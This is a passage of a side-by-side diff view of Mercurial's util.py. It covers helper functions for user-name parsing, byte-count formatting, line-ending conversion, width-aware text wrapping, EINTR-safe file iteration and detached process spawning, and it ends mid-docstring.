2157 | elif pattern.startswith('literal:'): | |
2158 | pattern = pattern[8:] |
|
2158 | pattern = pattern[8:] | |
2159 |
|
2159 | |||
2160 | match = pattern.__eq__ |
|
2160 | match = pattern.__eq__ | |
2161 |
|
2161 | |||
2162 | if not casesensitive: |
|
2162 | if not casesensitive: | |
2163 | ipat = encoding.lower(pattern) |
|
2163 | ipat = encoding.lower(pattern) | |
2164 | match = lambda s: ipat == encoding.lower(s) |
|
2164 | match = lambda s: ipat == encoding.lower(s) | |
2165 | return 'literal', pattern, match |
|
2165 | return 'literal', pattern, match | |
2166 |
|
2166 | |||
2167 | def shortuser(user): |
|
2167 | def shortuser(user): | |
2168 | """Return a short representation of a user name or email address.""" |
|
2168 | """Return a short representation of a user name or email address.""" | |
2169 | f = user.find('@') |
|
2169 | f = user.find('@') | |
2170 | if f >= 0: |
|
2170 | if f >= 0: | |
2171 | user = user[:f] |
|
2171 | user = user[:f] | |
2172 | f = user.find('<') |
|
2172 | f = user.find('<') | |
2173 | if f >= 0: |
|
2173 | if f >= 0: | |
2174 | user = user[f + 1:] |
|
2174 | user = user[f + 1:] | |
2175 | f = user.find(' ') |
|
2175 | f = user.find(' ') | |
2176 | if f >= 0: |
|
2176 | if f >= 0: | |
2177 | user = user[:f] |
|
2177 | user = user[:f] | |
2178 | f = user.find('.') |
|
2178 | f = user.find('.') | |
2179 | if f >= 0: |
|
2179 | if f >= 0: | |
2180 | user = user[:f] |
|
2180 | user = user[:f] | |
2181 | return user |
|
2181 | return user | |
2182 |
|
2182 | |||
2183 | def emailuser(user): |
|
2183 | def emailuser(user): | |
2184 | """Return the user portion of an email address.""" |
|
2184 | """Return the user portion of an email address.""" | |
2185 | f = user.find('@') |
|
2185 | f = user.find('@') | |
2186 | if f >= 0: |
|
2186 | if f >= 0: | |
2187 | user = user[:f] |
|
2187 | user = user[:f] | |
2188 | f = user.find('<') |
|
2188 | f = user.find('<') | |
2189 | if f >= 0: |
|
2189 | if f >= 0: | |
2190 | user = user[f + 1:] |
|
2190 | user = user[f + 1:] | |
2191 | return user |
|
2191 | return user | |
2192 |
|
2192 | |||
2193 | def email(author): |
|
2193 | def email(author): | |
2194 | '''get email of author.''' |
|
2194 | '''get email of author.''' | |
2195 | r = author.find('>') |
|
2195 | r = author.find('>') | |
2196 | if r == -1: |
|
2196 | if r == -1: | |
2197 | r = None |
|
2197 | r = None | |
2198 | return author[author.find('<') + 1:r] |
|
2198 | return author[author.find('<') + 1:r] | |
2199 |
|
2199 | |||
2200 | def ellipsis(text, maxlength=400): |
|
2200 | def ellipsis(text, maxlength=400): | |
2201 | """Trim string to at most maxlength (default: 400) columns in display.""" |
|
2201 | """Trim string to at most maxlength (default: 400) columns in display.""" | |
2202 | return encoding.trim(text, maxlength, ellipsis='...') |
|
2202 | return encoding.trim(text, maxlength, ellipsis='...') | |
2203 |
|
2203 | |||
2204 | def unitcountfn(*unittable): |
|
2204 | def unitcountfn(*unittable): | |
2205 | '''return a function that renders a readable count of some quantity''' |
|
2205 | '''return a function that renders a readable count of some quantity''' | |
2206 |
|
2206 | |||
2207 | def go(count): |
|
2207 | def go(count): | |
2208 | for multiplier, divisor, format in unittable: |
|
2208 | for multiplier, divisor, format in unittable: | |
2209 | if abs(count) >= divisor * multiplier: |
|
2209 | if abs(count) >= divisor * multiplier: | |
2210 | return format % (count / float(divisor)) |
|
2210 | return format % (count / float(divisor)) | |
2211 | return unittable[-1][2] % count |
|
2211 | return unittable[-1][2] % count | |
2212 |
|
2212 | |||
2213 | return go |
|
2213 | return go | |
2214 |
|
2214 | |||
2215 | def processlinerange(fromline, toline): |
|
2215 | def processlinerange(fromline, toline): | |
2216 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2216 | """Check that linerange <fromline>:<toline> makes sense and return a | |
2217 | 0-based range. |
|
2217 | 0-based range. | |
2218 |
|
2218 | |||
2219 | >>> processlinerange(10, 20) |
|
2219 | >>> processlinerange(10, 20) | |
2220 | (9, 20) |
|
2220 | (9, 20) | |
2221 | >>> processlinerange(2, 1) |
|
2221 | >>> processlinerange(2, 1) | |
2222 | Traceback (most recent call last): |
|
2222 | Traceback (most recent call last): | |
2223 | ... |
|
2223 | ... | |
2224 | ParseError: line range must be positive |
|
2224 | ParseError: line range must be positive | |
2225 | >>> processlinerange(0, 5) |
|
2225 | >>> processlinerange(0, 5) | |
2226 | Traceback (most recent call last): |
|
2226 | Traceback (most recent call last): | |
2227 | ... |
|
2227 | ... | |
2228 | ParseError: fromline must be strictly positive |
|
2228 | ParseError: fromline must be strictly positive | |
2229 | """ |
|
2229 | """ | |
2230 | if toline - fromline < 0: |
|
2230 | if toline - fromline < 0: | |
2231 | raise error.ParseError(_("line range must be positive")) |
|
2231 | raise error.ParseError(_("line range must be positive")) | |
2232 | if fromline < 1: |
|
2232 | if fromline < 1: | |
2233 | raise error.ParseError(_("fromline must be strictly positive")) |
|
2233 | raise error.ParseError(_("fromline must be strictly positive")) | |
2234 | return fromline - 1, toline |
|
2234 | return fromline - 1, toline | |
2235 |
|
2235 | |||
2236 | bytecount = unitcountfn( |
|
2236 | bytecount = unitcountfn( | |
2237 | (100, 1 << 30, _('%.0f GB')), |
|
2237 | (100, 1 << 30, _('%.0f GB')), | |
2238 | (10, 1 << 30, _('%.1f GB')), |
|
2238 | (10, 1 << 30, _('%.1f GB')), | |
2239 | (1, 1 << 30, _('%.2f GB')), |
|
2239 | (1, 1 << 30, _('%.2f GB')), | |
2240 | (100, 1 << 20, _('%.0f MB')), |
|
2240 | (100, 1 << 20, _('%.0f MB')), | |
2241 | (10, 1 << 20, _('%.1f MB')), |
|
2241 | (10, 1 << 20, _('%.1f MB')), | |
2242 | (1, 1 << 20, _('%.2f MB')), |
|
2242 | (1, 1 << 20, _('%.2f MB')), | |
2243 | (100, 1 << 10, _('%.0f KB')), |
|
2243 | (100, 1 << 10, _('%.0f KB')), | |
2244 | (10, 1 << 10, _('%.1f KB')), |
|
2244 | (10, 1 << 10, _('%.1f KB')), | |
2245 | (1, 1 << 10, _('%.2f KB')), |
|
2245 | (1, 1 << 10, _('%.2f KB')), | |
2246 | (1, 1, _('%.0f bytes')), |
|
2246 | (1, 1, _('%.0f bytes')), | |
2247 | ) |
|
2247 | ) | |
2248 |
|
2248 | |||
2249 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2249 | # Matches a single EOL which can either be a CRLF where repeated CR | |
2250 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2250 | # are removed or a LF. We do not care about old Macintosh files, so a | |
2251 | # stray CR is an error. |
|
2251 | # stray CR is an error. | |
2252 | _eolre = remod.compile(br'\r*\n') |
|
2252 | _eolre = remod.compile(br'\r*\n') | |
2253 |
|
2253 | |||
2254 | def tolf(s): |
|
2254 | def tolf(s): | |
2255 | return _eolre.sub('\n', s) |
|
2255 | return _eolre.sub('\n', s) | |
2256 |
|
2256 | |||
2257 | def tocrlf(s): |
|
2257 | def tocrlf(s): | |
2258 | return _eolre.sub('\r\n', s) |
|
2258 | return _eolre.sub('\r\n', s) | |
2259 |
|
2259 | |||
2260 | if pycompat.oslinesep == '\r\n': |
|
2260 | if pycompat.oslinesep == '\r\n': | |
2261 | tonativeeol = tocrlf |
|
2261 | tonativeeol = tocrlf | |
2262 | fromnativeeol = tolf |
|
2262 | fromnativeeol = tolf | |
2263 | else: |
|
2263 | else: | |
2264 | tonativeeol = pycompat.identity |
|
2264 | tonativeeol = pycompat.identity | |
2265 | fromnativeeol = pycompat.identity |
|
2265 | fromnativeeol = pycompat.identity | |
2266 |
|
2266 | |||
2267 | def escapestr(s): |
|
2267 | def escapestr(s): | |
2268 | # call underlying function of s.encode('string_escape') directly for |
|
2268 | # call underlying function of s.encode('string_escape') directly for | |
2269 | # Python 3 compatibility |
|
2269 | # Python 3 compatibility | |
2270 | return codecs.escape_encode(s)[0] |
|
2270 | return codecs.escape_encode(s)[0] | |
2271 |
|
2271 | |||
2272 | def unescapestr(s): |
|
2272 | def unescapestr(s): | |
2273 | return codecs.escape_decode(s)[0] |
|
2273 | return codecs.escape_decode(s)[0] | |
2274 |
|
2274 | |||
2275 | def uirepr(s): |
|
2275 | def uirepr(s): | |
2276 | # Avoid double backslash in Windows path repr() |
|
2276 | # Avoid double backslash in Windows path repr() | |
2277 | return repr(s).replace('\\\\', '\\') |
|
2277 | return repr(s).replace('\\\\', '\\') | |
2278 |
|
2278 | |||
2279 | # delay import of textwrap |
|
2279 | # delay import of textwrap | |
2280 | def MBTextWrapper(**kwargs): |
|
2280 | def MBTextWrapper(**kwargs): | |
2281 | class tw(textwrap.TextWrapper): |
|
2281 | class tw(textwrap.TextWrapper): | |
2282 | """ |
|
2282 | """ | |
2283 | Extend TextWrapper for width-awareness. |
|
2283 | Extend TextWrapper for width-awareness. | |
2284 |
|
2284 | |||
2285 | Neither number of 'bytes' in any encoding nor 'characters' is |
|
2285 | Neither number of 'bytes' in any encoding nor 'characters' is | |
2286 | appropriate to calculate terminal columns for specified string. |
|
2286 | appropriate to calculate terminal columns for specified string. | |
2287 |
|
2287 | |||
2288 | Original TextWrapper implementation uses built-in 'len()' directly, |
|
2288 | Original TextWrapper implementation uses built-in 'len()' directly, | |
2289 | so overriding is needed to use width information of each characters. |
|
2289 | so overriding is needed to use width information of each characters. | |
2290 |
|
2290 | |||
2291 | In addition, characters classified into 'ambiguous' width are |
|
2291 | In addition, characters classified into 'ambiguous' width are | |
2292 | treated as wide in East Asian area, but as narrow in other. |
|
2292 | treated as wide in East Asian area, but as narrow in other. | |
2293 |
|
2293 | |||
2294 | This requires use decision to determine width of such characters. |
|
2294 | This requires use decision to determine width of such characters. | |
2295 | """ |
|
2295 | """ | |
2296 | def _cutdown(self, ucstr, space_left): |
|
2296 | def _cutdown(self, ucstr, space_left): | |
2297 | l = 0 |
|
2297 | l = 0 | |
2298 | colwidth = encoding.ucolwidth |
|
2298 | colwidth = encoding.ucolwidth | |
2299 | for i in xrange(len(ucstr)): |
|
2299 | for i in xrange(len(ucstr)): | |
2300 | l += colwidth(ucstr[i]) |
|
2300 | l += colwidth(ucstr[i]) | |
2301 | if space_left < l: |
|
2301 | if space_left < l: | |
2302 | return (ucstr[:i], ucstr[i:]) |
|
2302 | return (ucstr[:i], ucstr[i:]) | |
2303 | return ucstr, '' |
|
2303 | return ucstr, '' | |
2304 |
|
2304 | |||
2305 | # overriding of base class |
|
2305 | # overriding of base class | |
2306 | def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): |
|
2306 | def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): | |
2307 | space_left = max(width - cur_len, 1) |
|
2307 | space_left = max(width - cur_len, 1) | |
2308 |
|
2308 | |||
2309 | if self.break_long_words: |
|
2309 | if self.break_long_words: | |
2310 | cut, res = self._cutdown(reversed_chunks[-1], space_left) |
|
2310 | cut, res = self._cutdown(reversed_chunks[-1], space_left) | |
2311 | cur_line.append(cut) |
|
2311 | cur_line.append(cut) | |
2312 | reversed_chunks[-1] = res |
|
2312 | reversed_chunks[-1] = res | |
2313 | elif not cur_line: |
|
2313 | elif not cur_line: | |
2314 | cur_line.append(reversed_chunks.pop()) |
|
2314 | cur_line.append(reversed_chunks.pop()) | |
2315 |
|
2315 | |||
2316 | # this overriding code is imported from TextWrapper of Python 2.6 |
|
2316 | # this overriding code is imported from TextWrapper of Python 2.6 | |
2317 | # to calculate columns of string by 'encoding.ucolwidth()' |
|
2317 | # to calculate columns of string by 'encoding.ucolwidth()' | |
2318 | def _wrap_chunks(self, chunks): |
|
2318 | def _wrap_chunks(self, chunks): | |
2319 | colwidth = encoding.ucolwidth |
|
2319 | colwidth = encoding.ucolwidth | |
2320 |
|
2320 | |||
2321 | lines = [] |
|
2321 | lines = [] | |
2322 | if self.width <= 0: |
|
2322 | if self.width <= 0: | |
2323 | raise ValueError("invalid width %r (must be > 0)" % self.width) |
|
2323 | raise ValueError("invalid width %r (must be > 0)" % self.width) | |
2324 |
|
2324 | |||
2325 | # Arrange in reverse order so items can be efficiently popped |
|
2325 | # Arrange in reverse order so items can be efficiently popped | |
2326 | # from a stack of chucks. |
|
2326 | # from a stack of chucks. | |
2327 | chunks.reverse() |
|
2327 | chunks.reverse() | |
2328 |
|
2328 | |||
2329 | while chunks: |
|
2329 | while chunks: | |
2330 |
|
2330 | |||
2331 | # Start the list of chunks that will make up the current line. |
|
2331 | # Start the list of chunks that will make up the current line. | |
2332 | # cur_len is just the length of all the chunks in cur_line. |
|
2332 | # cur_len is just the length of all the chunks in cur_line. | |
2333 | cur_line = [] |
|
2333 | cur_line = [] | |
2334 | cur_len = 0 |
|
2334 | cur_len = 0 | |
2335 |
|
2335 | |||
2336 | # Figure out which static string will prefix this line. |
|
2336 | # Figure out which static string will prefix this line. | |
2337 | if lines: |
|
2337 | if lines: | |
2338 | indent = self.subsequent_indent |
|
2338 | indent = self.subsequent_indent | |
2339 | else: |
|
2339 | else: | |
2340 | indent = self.initial_indent |
|
2340 | indent = self.initial_indent | |
2341 |
|
2341 | |||
2342 | # Maximum width for this line. |
|
2342 | # Maximum width for this line. | |
2343 | width = self.width - len(indent) |
|
2343 | width = self.width - len(indent) | |
2344 |
|
2344 | |||
2345 | # First chunk on line is whitespace -- drop it, unless this |
|
2345 | # First chunk on line is whitespace -- drop it, unless this | |
2346 | # is the very beginning of the text (i.e. no lines started yet). |
|
2346 | # is the very beginning of the text (i.e. no lines started yet). | |
2347 | if self.drop_whitespace and chunks[-1].strip() == r'' and lines: |
|
2347 | if self.drop_whitespace and chunks[-1].strip() == r'' and lines: | |
2348 | del chunks[-1] |
|
2348 | del chunks[-1] | |
2349 |
|
2349 | |||
2350 | while chunks: |
|
2350 | while chunks: | |
2351 | l = colwidth(chunks[-1]) |
|
2351 | l = colwidth(chunks[-1]) | |
2352 |
|
2352 | |||
2353 | # Can at least squeeze this chunk onto the current line. |
|
2353 | # Can at least squeeze this chunk onto the current line. | |
2354 | if cur_len + l <= width: |
|
2354 | if cur_len + l <= width: | |
2355 | cur_line.append(chunks.pop()) |
|
2355 | cur_line.append(chunks.pop()) | |
2356 | cur_len += l |
|
2356 | cur_len += l | |
2357 |
|
2357 | |||
2358 | # Nope, this line is full. |
|
2358 | # Nope, this line is full. | |
2359 | else: |
|
2359 | else: | |
2360 | break |
|
2360 | break | |
2361 |
|
2361 | |||
2362 | # The current line is full, and the next chunk is too big to |
|
2362 | # The current line is full, and the next chunk is too big to | |
2363 | # fit on *any* line (not just this one). |
|
2363 | # fit on *any* line (not just this one). | |
2364 | if chunks and colwidth(chunks[-1]) > width: |
|
2364 | if chunks and colwidth(chunks[-1]) > width: | |
2365 | self._handle_long_word(chunks, cur_line, cur_len, width) |
|
2365 | self._handle_long_word(chunks, cur_line, cur_len, width) | |
2366 |
|
2366 | |||
2367 | # If the last chunk on this line is all whitespace, drop it. |
|
2367 | # If the last chunk on this line is all whitespace, drop it. | |
2368 | if (self.drop_whitespace and |
|
2368 | if (self.drop_whitespace and | |
2369 | cur_line and cur_line[-1].strip() == r''): |
|
2369 | cur_line and cur_line[-1].strip() == r''): | |
2370 | del cur_line[-1] |
|
2370 | del cur_line[-1] | |
2371 |
|
2371 | |||
2372 | # Convert current line back to a string and store it in list |
|
2372 | # Convert current line back to a string and store it in list | |
2373 | # of all lines (return value). |
|
2373 | # of all lines (return value). | |
2374 | if cur_line: |
|
2374 | if cur_line: | |
2375 | lines.append(indent + r''.join(cur_line)) |
|
2375 | lines.append(indent + r''.join(cur_line)) | |
2376 |
|
2376 | |||
2377 | return lines |
|
2377 | return lines | |
2378 |
|
2378 | |||
2379 | global MBTextWrapper |
|
2379 | global MBTextWrapper | |
2380 | MBTextWrapper = tw |
|
2380 | MBTextWrapper = tw | |
2381 | return tw(**kwargs) |
|
2381 | return tw(**kwargs) | |
2382 |
|
2382 | |||
2383 | def wrap(line, width, initindent='', hangindent=''): |
|
2383 | def wrap(line, width, initindent='', hangindent=''): | |
2384 | maxindent = max(len(hangindent), len(initindent)) |
|
2384 | maxindent = max(len(hangindent), len(initindent)) | |
2385 | if width <= maxindent: |
|
2385 | if width <= maxindent: | |
2386 | # adjust for weird terminal size |
|
2386 | # adjust for weird terminal size | |
2387 | width = max(78, maxindent + 1) |
|
2387 | width = max(78, maxindent + 1) | |
2388 | line = line.decode(pycompat.sysstr(encoding.encoding), |
|
2388 | line = line.decode(pycompat.sysstr(encoding.encoding), | |
2389 | pycompat.sysstr(encoding.encodingmode)) |
|
2389 | pycompat.sysstr(encoding.encodingmode)) | |
2390 | initindent = initindent.decode(pycompat.sysstr(encoding.encoding), |
|
2390 | initindent = initindent.decode(pycompat.sysstr(encoding.encoding), | |
2391 | pycompat.sysstr(encoding.encodingmode)) |
|
2391 | pycompat.sysstr(encoding.encodingmode)) | |
2392 | hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), |
|
2392 | hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), | |
2393 | pycompat.sysstr(encoding.encodingmode)) |
|
2393 | pycompat.sysstr(encoding.encodingmode)) | |
2394 | wrapper = MBTextWrapper(width=width, |
|
2394 | wrapper = MBTextWrapper(width=width, | |
2395 | initial_indent=initindent, |
|
2395 | initial_indent=initindent, | |
2396 | subsequent_indent=hangindent) |
|
2396 | subsequent_indent=hangindent) | |
2397 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
|
2397 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) | |
2398 |
|
2398 | |||
2399 | if (pyplatform.python_implementation() == 'CPython' and |
|
2399 | if (pyplatform.python_implementation() == 'CPython' and | |
2400 | sys.version_info < (3, 0)): |
|
2400 | sys.version_info < (3, 0)): | |
2401 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2401 | # There is an issue in CPython that some IO methods do not handle EINTR | |
2402 | # correctly. The following table shows what CPython version (and functions) |
|
2402 | # correctly. The following table shows what CPython version (and functions) | |
2403 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2403 | # are affected (buggy: has the EINTR bug, okay: otherwise): | |
2404 | # |
|
2404 | # | |
2405 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2405 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 | |
2406 | # -------------------------------------------------- |
|
2406 | # -------------------------------------------------- | |
2407 | # fp.__iter__ | buggy | buggy | okay |
|
2407 | # fp.__iter__ | buggy | buggy | okay | |
2408 | # fp.read* | buggy | okay [1] | okay |
|
2408 | # fp.read* | buggy | okay [1] | okay | |
2409 | # |
|
2409 | # | |
2410 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2410 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. | |
2411 | # |
|
2411 | # | |
2412 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2412 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods | |
2413 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2413 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. | |
2414 | # |
|
2414 | # | |
2415 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2415 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: | |
2416 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2416 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in | |
2417 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2417 | # CPython 2, because CPython 2 maintains an internal readahead buffer for | |
2418 | # fp.__iter__ but not other fp.read* methods. |
|
2418 | # fp.__iter__ but not other fp.read* methods. | |
2419 | # |
|
2419 | # | |
2420 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2420 | # On modern systems like Linux, the "read" syscall cannot be interrupted | |
2421 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2421 | # when reading "fast" files like on-disk files. So the EINTR issue only | |
2422 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2422 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) | |
2423 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2423 | # files approximately as "fast" files and use the fast (unsafe) code path, | |
2424 | # to minimize the performance impact. |
|
2424 | # to minimize the performance impact. | |
2425 | if sys.version_info >= (2, 7, 4): |
|
2425 | if sys.version_info >= (2, 7, 4): | |
2426 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2426 | # fp.readline deals with EINTR correctly, use it as a workaround. | |
2427 | def _safeiterfile(fp): |
|
2427 | def _safeiterfile(fp): | |
2428 | return iter(fp.readline, '') |
|
2428 | return iter(fp.readline, '') | |
2429 | else: |
|
2429 | else: | |
2430 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2430 | # fp.read* are broken too, manually deal with EINTR in a stupid way. | |
2431 | # note: this may block longer than necessary because of bufsize. |
|
2431 | # note: this may block longer than necessary because of bufsize. | |
2432 | def _safeiterfile(fp, bufsize=4096): |
|
2432 | def _safeiterfile(fp, bufsize=4096): | |
2433 | fd = fp.fileno() |
|
2433 | fd = fp.fileno() | |
2434 | line = '' |
|
2434 | line = '' | |
2435 | while True: |
|
2435 | while True: | |
2436 | try: |
|
2436 | try: | |
2437 | buf = os.read(fd, bufsize) |
|
2437 | buf = os.read(fd, bufsize) | |
2438 | except OSError as ex: |
|
2438 | except OSError as ex: | |
2439 | # os.read only raises EINTR before any data is read |
|
2439 | # os.read only raises EINTR before any data is read | |
2440 | if ex.errno == errno.EINTR: |
|
2440 | if ex.errno == errno.EINTR: | |
2441 | continue |
|
2441 | continue | |
2442 | else: |
|
2442 | else: | |
2443 | raise |
|
2443 | raise | |
2444 | line += buf |
|
2444 | line += buf | |
2445 | if '\n' in buf: |
|
2445 | if '\n' in buf: | |
2446 | splitted = line.splitlines(True) |
|
2446 | splitted = line.splitlines(True) | |
2447 | line = '' |
|
2447 | line = '' | |
2448 | for l in splitted: |
|
2448 | for l in splitted: | |
2449 | if l[-1] == '\n': |
|
2449 | if l[-1] == '\n': | |
2450 | yield l |
|
2450 | yield l | |
2451 | else: |
|
2451 | else: | |
2452 | line = l |
|
2452 | line = l | |
2453 | if not buf: |
|
2453 | if not buf: | |
2454 | break |
|
2454 | break | |
2455 | if line: |
|
2455 | if line: | |
2456 | yield line |
|
2456 | yield line | |
2457 |
|
2457 | |||
2458 | def iterfile(fp): |
|
2458 | def iterfile(fp): | |
2459 | fastpath = True |
|
2459 | fastpath = True | |
2460 | if type(fp) is file: |
|
2460 | if type(fp) is file: | |
2461 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2461 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) | |
2462 | if fastpath: |
|
2462 | if fastpath: | |
2463 | return fp |
|
2463 | return fp | |
2464 | else: |
|
2464 | else: | |
2465 | return _safeiterfile(fp) |
|
2465 | return _safeiterfile(fp) | |
2466 | else: |
|
2466 | else: | |
2467 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2467 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. | |
2468 | def iterfile(fp): |
|
2468 | def iterfile(fp): | |
2469 | return fp |
|
2469 | return fp | |
2470 |
|
2470 | |||
2471 | def iterlines(iterator): |
|
2471 | def iterlines(iterator): | |
2472 | for chunk in iterator: |
|
2472 | for chunk in iterator: | |
2473 | for line in chunk.splitlines(): |
|
2473 | for line in chunk.splitlines(): | |
2474 | yield line |
|
2474 | yield line | |
2475 |
|
2475 | |||
2476 | def expandpath(path): |
|
2476 | def expandpath(path): | |
2477 | return os.path.expanduser(os.path.expandvars(path)) |
|
2477 | return os.path.expanduser(os.path.expandvars(path)) | |
2478 |
|
2478 | |||
2479 | def hgcmd(): |
|
2479 | def hgcmd(): | |
2480 | """Return the command used to execute current hg |
|
2480 | """Return the command used to execute current hg | |
2481 |
|
2481 | |||
2482 | This is different from hgexecutable() because on Windows we want |
|
2482 | This is different from hgexecutable() because on Windows we want | |
2483 | to avoid things opening new shell windows like batch files, so we |
|
2483 | to avoid things opening new shell windows like batch files, so we | |
2484 | get either the python call or current executable. |
|
2484 | get either the python call or current executable. | |
2485 | """ |
|
2485 | """ | |
2486 | if mainfrozen(): |
|
2486 | if mainfrozen(): | |
2487 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
2487 | if getattr(sys, 'frozen', None) == 'macosx_app': | |
2488 | # Env variable set by py2app |
|
2488 | # Env variable set by py2app | |
2489 | return [encoding.environ['EXECUTABLEPATH']] |
|
2489 | return [encoding.environ['EXECUTABLEPATH']] | |
2490 | else: |
|
2490 | else: | |
2491 | return [pycompat.sysexecutable] |
|
2491 | return [pycompat.sysexecutable] | |
2492 | return gethgcmd() |
|
2492 | return gethgcmd() | |
2493 |
|
2493 | |||
2494 | def rundetached(args, condfn): |
|
2494 | def rundetached(args, condfn): | |
2495 | """Execute the argument list in a detached process. |
|
2495 | """Execute the argument list in a detached process. | |
2496 |
|
2496 | |||
2497 | condfn is a callable which is called repeatedly and should return |
|
2497 | condfn is a callable which is called repeatedly and should return | |
2498 | True once the child process is known to have started successfully. |
|
2498 | True once the child process is known to have started successfully. | |
2499 | At this point, the child process PID is returned. If the child |
|
2499 | At this point, the child process PID is returned. If the child | |
2500 | process fails to start or finishes before condfn() evaluates to |
|
2500 | process fails to start or finishes before condfn() evaluates to | |
2501 | True, return -1. |
|
2501 | True, return -1. | |
2502 | """ |
|
2502 | """ | |
2503 | # Windows case is easier because the child process is either |
|
2503 | # Windows case is easier because the child process is either | |
2504 | # successfully starting and validating the condition or exiting |
|
2504 | # successfully starting and validating the condition or exiting | |
2505 | # on failure. We just poll on its PID. On Unix, if the child |
|
2505 | # on failure. We just poll on its PID. On Unix, if the child | |
2506 | # process fails to start, it will be left in a zombie state until |
|
2506 | # process fails to start, it will be left in a zombie state until | |
2507 | # the parent wait on it, which we cannot do since we expect a long |
|
2507 | # the parent wait on it, which we cannot do since we expect a long | |
2508 | # running process on success. Instead we listen for SIGCHLD telling |
|
2508 | # running process on success. Instead we listen for SIGCHLD telling | |
2509 | # us our child process terminated. |
|
2509 | # us our child process terminated. | |
2510 | terminated = set() |
|
2510 | terminated = set() | |
2511 | def handler(signum, frame): |
|
2511 | def handler(signum, frame): | |
2512 | terminated.add(os.wait()) |
|
2512 | terminated.add(os.wait()) | |
2513 | prevhandler = None |
|
2513 | prevhandler = None | |
2514 | SIGCHLD = getattr(signal, 'SIGCHLD', None) |
|
2514 | SIGCHLD = getattr(signal, 'SIGCHLD', None) | |
2515 | if SIGCHLD is not None: |
|
2515 | if SIGCHLD is not None: | |
2516 | prevhandler = signal.signal(SIGCHLD, handler) |
|
2516 | prevhandler = signal.signal(SIGCHLD, handler) | |
2517 | try: |
|
2517 | try: | |
2518 | pid = spawndetached(args) |
|
2518 | pid = spawndetached(args) | |
2519 | while not condfn(): |
|
2519 | while not condfn(): | |
2520 | if ((pid in terminated or not testpid(pid)) |
|
2520 | if ((pid in terminated or not testpid(pid)) | |
2521 | and not condfn()): |
|
2521 | and not condfn()): | |
2522 | return -1 |
|
2522 | return -1 | |
2523 | time.sleep(0.1) |
|
2523 | time.sleep(0.1) | |
2524 | return pid |
|
2524 | return pid | |
2525 | finally: |
|
2525 | finally: | |
2526 | if prevhandler is not None: |
|
2526 | if prevhandler is not None: | |
2527 | signal.signal(signal.SIGCHLD, prevhandler) |
|
2527 | signal.signal(signal.SIGCHLD, prevhandler) | |
2528 |
|
2528 | |||
2529 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2529 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | |
2530 | """Return the result of interpolating items in the mapping into string s. |
|
2530 | """Return the result of interpolating items in the mapping into string s. | |
2531 |
|
2531 | |||
2532 | prefix is a single character string, or a two character string with |
|
2532 | prefix is a single character string, or a two character string with | |
2533 | a backslash as the first character if the prefix needs to be escaped in |
|
2533 | a backslash as the first character if the prefix needs to be escaped in | |
2534 | a regular expression. |
|
2534 | a regular expression. | |
2535 |
|
2535 | |||
2536 | fn is an optional function that will be applied to the replacement text |
|
2536 | fn is an optional function that will be applied to the replacement text | |
2537 | just before replacement. |
|
2537 | just before replacement. | |
2538 |
|
2538 | |||
2539 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2539 | escape_prefix is an optional flag that allows using doubled prefix for | |
2540 | its escaping. |
|
2540 | its escaping. | |
2541 | """ |
|
2541 | """ | |
2542 | fn = fn or (lambda s: s) |
|
2542 | fn = fn or (lambda s: s) | |
2543 | patterns = '|'.join(mapping.keys()) |
|
2543 | patterns = '|'.join(mapping.keys()) | |
2544 | if escape_prefix: |
|
2544 | if escape_prefix: | |
2545 | patterns += '|' + prefix |
|
2545 | patterns += '|' + prefix | |
2546 | if len(prefix) > 1: |
|
2546 | if len(prefix) > 1: | |
2547 | prefix_char = prefix[1:] |
|
2547 | prefix_char = prefix[1:] | |
2548 | else: |
|
2548 | else: | |
2549 | prefix_char = prefix |
|
2549 | prefix_char = prefix | |
2550 | mapping[prefix_char] = prefix_char |
|
2550 | mapping[prefix_char] = prefix_char | |
2551 | r = remod.compile(r'%s(%s)' % (prefix, patterns)) |
|
2551 | r = remod.compile(r'%s(%s)' % (prefix, patterns)) | |
2552 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2552 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | |
2553 |
|
2553 | |||
2554 | def getport(port): |
|
2554 | def getport(port): | |
2555 | """Return the port for a given network service. |
|
2555 | """Return the port for a given network service. | |
2556 |
|
2556 | |||
2557 | If port is an integer, it's returned as is. If it's a string, it's |
|
